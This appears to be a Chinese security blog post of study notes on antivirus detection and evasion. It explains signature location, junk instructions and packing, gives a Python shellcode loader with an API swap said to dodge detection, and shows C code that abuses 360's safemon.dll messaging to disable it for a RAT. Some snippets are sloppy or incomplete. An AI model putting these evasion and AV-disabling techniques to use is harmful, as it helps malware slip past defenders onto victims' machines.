https://xz.aliyun.com/t/14215

基础汇编

1
push压栈,将数据放入栈中,先进后出

32位免杀好做,64位基线高

汇编指令学习

特征码

1
2
3
4
5
6
7
病毒特征码。我们需要在病毒的二进制代码中提取一部分作为病毒特征。但是病毒程序不能用这种方法,即从程序入口进行提取,这样一来病毒程序和普通的程序的检测结果没有分别。因此计算机病毒的特征码需要把病毒程序域一般程序区分开来。将唯一标识或一类多态病毒作为计算机病毒程序的指纹。如果随意选取一段二进制代码作为病毒特征码很可能出现误报

需要满足以下要求:
不能从数据区提取,数据区内容容易改变,不保险,最好做在不可变字符上
在特征码唯一的情况下,尽量使得特征码短小精悍,减少复杂度,提高检测效率
特征码一定不能匹配到普通程序,比如选取病毒入口的二进制代码,必然出现误报
特征码应该在64个字节以内

提取方式

1
2
3
4
计算校验和(专杀软件会多一些)
简单快速,但是会导致特征库庞大
提取特征字符串
能识别某个病毒特有字符串,但是需要耗费比较多的扫描时间

工具集

1
2
ollydbg
c32asm

杀软主流查杀原理和方式

特征码和花指令

修改特征码让杀软程序无法识别为病毒软件。

花指令是程序中的无用代码。杀毒软件对木马进行反汇编时木马代码不会正常显示,。利用堆栈平衡,让加花指令后堆栈一样

木马彩衣(金色鱼锦衣)

替换法

1
2
3
4
5
6
7
push ebp
move ebp,wsp
add esp,-0C
add esp,0C
mov eax,原入口
push eax
retn

比如在壳这里进行替换各个寄存器存的数据

img

壳上壳的免杀

跳转进行多层跳转

比较进行比较回来

确定特征码位置,对某一段进行nop,看是否进行查杀

单步挂上函数后,将打上断点,开启杀软,看是否查杀

样本判断

img

绝绝子病毒:

磁碟机病毒

主流杀软查杀原理

病毒查杀方式:行为和云查杀、静态查杀

静态查杀:特征码识别到,然后对文件进行特征匹配

云查杀:对文件内容以及行为进行检测。提取特征

行为查杀(动态查杀):对行为进行检测

可构建行为库进行动态查杀

统计学规律–》建立特征学习库–》进行动态查获取

监测技术

内存读取监测

1
2
监控所有进程,扫描内存
挂钩子进行监控,监控系统创建,在系统回调处进行监控,然后对文件进行分析,如果有问题就删掉

写入文件监测

对于写入磁盘的文件进行扫描

网页安全监测

监测是否存在网络攻击和不安全下载

邮箱附件监测

1
2
对于电子邮箱的附件进行病毒扫描
加密传递会好一点

进程行为监测

沙盒模式即为进程行为监测,监测进程各种行为,对敏感操作进行报警

机器学习识别技术

通过深度学习技术进行识别病毒特征,不仅是静态样本的二进制分析,可以运用到沙盒动态行为分析中

机器学习识别技术围绕病毒特征码,调用功能和触发行为,运用在沙盒动态分析中

被杀的python代码

这是不免杀的,使用如下代码进行测试,使用pyinstaller生成可执行的exe文件。pyinstaller生成exe文件过程不会校验代码是否可执行,所以可以通过注释的方式一行行测试具体是什么代码报毒。

Shellcode代码不会触发告警,代码中的 VirtualAlloc、RtlMoveMemory函数同时使用时会触发告警。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import ctypes

def exec_shellcode(shellcode):
# shellcode = bytearray(shellcode)
# ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
#buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode)))
# handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
# ctypes.c_int(0),
# ctypes.c_uint64(ptr),
# ctypes.c_int(0),
# ctypes.c_int(0),
# ctypes.pointer(ctypes.c_int(0)))
# ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
def main():
buf = b""
shellcode = buf
exec_shellcode(shellcode)
if __name__ == '__main__':
main()

这里会被杀掉

将RtlMoveMemory换成RtlCopyMemory就不会

基本32位的杀软防御会更强,而不是64位

vmware14会更好用

沙箱原理

沙箱是基于windows下的容器技术,构建在windows操作系统内核上,更轻量化的虚拟方案,专门用于安全隔离运行应用程序

windows沙盒

动态生成图像,基本映像技术windows启动沙盒,不需要单独的副本

大多数操作系统文件不可变,并且与沙盒windows共享。操作系统文件一小部分可变,不能共享。因此沙盒基本映像包含这些文件的一小部分副本。完整的windows图像可通过主机上的可共享不可变文件和可变文件的完整副本组合构建。通过此方案windows沙盒具有启动完整windows安装,无需下载或存储其他windows

在windows沙盒前,动态基本映像为30MB压缩包。安装后,基本映像将占500MB磁盘空间

内存管理

传统vm会静态分配主机内存,当资源需求发生变化的时候,经典vm具有用于调整资源需求的有限机制。另一方面,容器与主机协作以动态确认如何分配主机资源。此方法类似于进程通常在主机上占用内存的方式。如果主机有内存压力,可以从容器回收内存,就像进程回收内存一样。

内存共享

由于windows沙盒运行与主机相同的操作系统映像,因此已经增强为通过称为直接映射的技术将相同的物理内存也用于操作系统二进制文件的主机。例如当ntdll.dll*加载到沙盒中的内存中时,它将使用与主机上加载的二进制文件相同的物理页。与传统的VM相比,主机和沙盒之间的内存共享会导致较小的内存占用,而不会损害有价值的主机密钥

集成内核计划任务

对于普通虚拟机,microsoft虚拟机监控程序中运行的虚拟处理器的计划。windows沙盒使用名为“集成计划”的技术,允许主机计划程序决定沙盒何时获取CPU周期

windows沙盒中采用唯一策略,该策略允许像主机线程一样计划沙盒的虚拟化处理器。此方案中,主机的高优先级任务可以i抢占不那么重要的工作,最重要的工作优先进行,无论工作位于主机还是容器中

WDDM GPU 虚拟化(需要深入研究)

硬件加速呈现是提供流畅且响应迅速的用户体验的关键,尤其是对于图像密集的用例。microsoft与图形状生态系统合作伙伴合作,将新型图形虚拟化直接集成到directx和windows display driver model中

此功能允许沙盒内运行的程序与主机上运行的应用程序竞争GPU资源

做一个wddm虚拟化的驱动,借助泄露的签名,那么可能就能长时间驻留在操作系统中,可能能建立其非常隐蔽的信息通信信道

img

传统杀软检测原理

思考IFEO映像劫持

https://zhuanlan.zhihu.com/p/96504762

IFEO好像也可以做对病毒的劫持,来阻止病毒运行

扫描技术

1
2
3
4
5
6
7
8
扫描压缩包技术:对压缩包按和封装文件做分析检查的技术
程序篡改防护:避免恶意程序借由删除杀毒侦测程序而大肆破坏电脑
修复技术:即是对恶意程序所损坏的文件进行还原
急救盘杀毒:利用空白U盘制作急救启动盘,来检测电脑病毒
智能扫描:扫描最常见的磁盘,系统关键位置,耗时较短
全盘扫描:扫描电脑全部磁盘,耗时较长
勒索软件防护:保护电脑中文件不被黑客恶意加密
开机扫描:当电脑开机时自动扫描,扫描压缩文档和可能不需要的程序

监控技术

1
2
3
4
5
内存监控:当发现内存中存在病毒时,主动报警,监控所有进程,读取到内存中的文件,监控内存的网络数据
文件监控:当发现磁盘中的文件中存在病毒,或者被病毒感染则主动报警
邮件监控:发现电子邮件附件存在病毒时进行拦截
网页防护:组织网络攻击和不安全下载
行为防护:提醒用户可疑的应用程序行为

进程行为监测(沙盒)

通过病毒研究,将病毒共同的特殊行为进行监控

优点:可能防住未知病毒,

缺点:误报,不能识别病毒名称,需要用户用知识判断

主动防御:

不需要特征码支持,只要能扫描到目标的行为,就按照预先的迫使进行清除。核心是让机器自己有判断是否为病毒的智能

行为加算法模式

机器学习:

不仅可以做静态样本的二进制分析,也可以用沙箱动态行为分析。内容加行为

机器学习****恶意样本识别

从特征码角度去测试杀软逻辑

360进行脱壳的能力会比火绒强,360使用虚拟机脱壳引擎(VUE)进行脱壳。火绒使用vm的脱壳方式,对变形壳和可疑的区段没有识别能力。火绒强在主动防御,在市面上仅次于360

加壳,压缩、变形、使得特征码完全不同

脱壳两种思路

硬脱壳:写出逆向算法

动态脱壳:加壳程序运行的时候会自行脱壳,抓取运行时在内存中的镜像,再构建成标准的执行文件

虚拟机脱壳引擎(VUE)技术

给病毒制造一个仿真环境,让病毒自己脱壳

QVM人工智能引擎,从海量病毒样本数据中归纳出一套智能算法,无需分析病毒静态特征,无需分析病毒行为,但是病毒监测率奇高

特征码识别和人工智能算法结合、主动防御技术和四引擎查杀的防杀结合

最好是两个引擎都用吧

如果将木马中的一些jmp上下修改一两位,如果说没有强校验,那么还是能进行运行的

常见特征码定位

常见工具有CCL、MYCCL。大致原理是分割文件,将分割部分填入数据。如果扫描该部分不报警。则特征码在这个部分。知道找到这个部分。不同工具区别是使用的分割算法不同,查找特征码的效果不同。

但定位有运气问题,每次定位位置不同

VirTest是区别于CCL、MYCCL的工具。清除杀软判断链路的其中一环进行免杀

定位到数据,导致程序不能运行

大小写修改判断,字符串位置调换,无关数据随意替换

整数不影响结构的情况下,替换值,清零

地址,不能修改、具体看实际情况

PE头数据,无用数据清零或修改,有用数据看情况修改

代码

如果特征码定位到代码,在不改变程序功能基础上,应用各种方法修改

等价替换汇编代码,如mov、eax,0可以替换为xor、eax、eax,直接结果相同,二进制代码不同

交换代码顺序,在不影响逻辑的情况下代码块一位,将代码块移动不用的内存位置,通过加入jmp addr跳过去执行,addr是新的代码块地址

最后,终极修改方法,找到访问数据的代码,直接修改代码访问数据的地址,数据也可以放到其他地址了,如同修改源码一样,但是更难

源码免杀的逻辑原理

这里是针对有源码的,方法简单

1
2
3
4
5
mian中屏蔽所有代码,编译,扫描,不报就2,如果报就5
放开一层(可以多层、二分也可以)函数,编译,扫描。不报的话重复2。直到定位到某个函数或者多个函数,进入3
在函数内部屏蔽部分代码(二分),编译,扫描。不报,重复2
直到定位某段代码(无自定义内部调用),特征码在此
如果有附加数据,或者资源存储的文件,就单独检查该文件或者数据。从方法1开始。如果没有去找PE头

安全软件分析

1
2
3
360
qq电脑管家(腾讯电脑管家)
火绒

主动防御是需要重点关注的

监控进程、实时发现和拦截恶意程序、病毒查杀能力、自我保护能力

市面上的病毒查杀软件都需要过VB100才能上市

TAV

TAV杀毒后能还原一部分被病毒破坏的注册表和文件,内存查杀也不错,可以扫描内存、创建和病毒一样互斥,防止病毒再次运行

缺点是免杀简单,由于使用字符串明文检测,很容易分析病毒库或者是MYCCL等黑盒免杀。另一方面,TAV的效率低,包括特征数据结构若,特征复用等。

病毒库结构:

virinfo.def:名称表,包括壳名、包名、特征名C++

structVirinfo{

DWORD dwID;

BYTE btLength;

Char VirName[btLength];

};

病毒库更新:

1
2
直接更新拓展名为.def病毒库,适用于查杀现有引擎可以支持的木马和病毒
更新替换tpktt.dll,适用于现有引擎无法解决的复杂样本,将特征和查杀方式通过分析员写代码实现,然后整个引擎进行替换,类似于专杀方式

0x02 PE查杀过程逆向分析:

病毒库描述:

virpeXX.def:(PE库)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct VirpeHeader
{
WORD wUnknown;
DWORD dwSize;
WORD wTablelCount;
WORD wdMaskCount; //表示共有多少条PE特征
WORD wdUnknown4;
DWORD dwTable1Off;
DWORD dwTable2Off;
DWORD dwTable3Off;
DWORD dwTable4Off;
DWORD dwTable5Off; //传统特征
DWORD dwTable6Off; //多模式特征
}
struct Sig //特征结构
{
DWORD dwRecordID;//特征ID,用于关联特征名
DWORD dwOffset;//特征偏移,用于定位病毒代码具体位置
BYTE btLength;//特征长度,用于扫描匹配病毒代码长度
BYTE btOffsetBaseAddress;//特征基地址,用于定位特征起始地点
BYTE btVirMask[btLength];//病毒特征具体内容
}

静态查杀方式:

1
2
3
4
二进制全文匹配(二进制特征存放在virpe01.def库解密后的tbl5中)将数十字节的病毒代码二进制,记录在病毒库中,与待检测样本进行全文匹配

多模匹配(多模特征存放在tbl6中)
将恶意程序的明显字符串信息提取出,记录在病毒库中,与待检测样本进行多模匹配

特征的编号、特征的名称、特征的偏移、特征的长度、特征的内容

查杀引擎功能分析

杀掉进程

内存分析

内存扫描

匹配到指定的进程和内存串,就终止进程

匹配文件是否存在

匹配几层子目录,如果没有就跳过

创建一个acl访问控制域,这个域上设置system权限用户

创建一个与病毒相同的互斥体,防止病毒再次运行

将杀软杀掉后,创建一个互斥体,让病毒运行不起来,根据难查杀的病毒一起变换

但是现在病毒会随机互斥体名称,记录在某个位置,如果又创建过了就不执行了

内存清理

将虚表里面的结构体成员初始化

1
2
3
4
5
6
7
8
signed int __thiscall sub_1012E1D0(int this)
{
*(_DWORD *)(this + 4)=0;
*(_DWORD *)(this + 4)=0;
*(_DWORD *)(this + 4)=0;
memset((void *)(this + 12),0,0x208u);
return 1;
}

BMP字符串多模式匹配:

可以看

https://www.zhihu.com/question/21923021

实际上是需要用到更优于内存效率的方法,大量并发是否能执行好,是否能顺利解决问题

虚拟机检测:

虚拟机里面模拟了ntdll、kernel32、gdi32、user32、advapi32、shell32、wsock32、ole32、oleaut32、msvcrt、version、urlmon几个系统dll,这些是木马经常会调用的dll,模拟x64或86的虚拟环境,模拟进程网络、注册表、外壳等环境内的组件,加载之后保证不能崩溃。

少用经常用的一些函数,包括是导出函数

少用模块的一些导出函数

数字卫士溢出漏洞分析

360全家桶

360杀毒、360安全卫士、小红伞、360系统急救箱

参考

https://blog.csdn.net/aluo3002/article/details/102028296

通过分析RAT payload运行后可以关闭360,根据rat运行后能发现只是运行了几个小部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <iostream>
#include <windows.h>
#include <stdio.h>
#include "buffer.h"

int main(){
HMODULE h360 =GetModuleHandle(TEXT("safemon.dll"));
int i = 0;
for (i = 0; i<0x30000; i++)
{
if (memcmp((BYTE *)(h360+i), "\x83\xEC\x10\x56\x8D\x44\x24\x04\x50",9)==0)
{
break;
}
}
if (i==0x30000)
{
return;
}
FARPROC funcGet360HWND = (FARPROC)(h360+i);
HWND hWnd = (HWND)funcGet360HWND();
COPYDATASTRUCT cpdata;
cpdata.dwData = 0x4d47534d;
cpdata.cbData = 0x1000;
cpdata.lpData = msgbuf; //长度0x1000字节的随即数据,其中不能有连续\x00\x00
SendMessage(hWnd, WM_COPYDATA, NULL,(LPARAM)&cpdata);
}

其作用是找到Q360SafeMonClass的窗口句柄。找到这段代码后将执行这段代码来获得窗口句柄。

不用findwidow是怕直接找找不到。

漏洞调试

使用windbg,开双机调试,切换360到hookport上,定位到koface,在此处头处,把头换成ret

关闭360自我保护,就能直接进行调试了

safemon.dll是图形页面的支持dll,每个图形界面都会去加载这个dll,从这个dll中发送消息,使得safemon.dll以为我的输入为一个图像界面而去加载,能执行命令。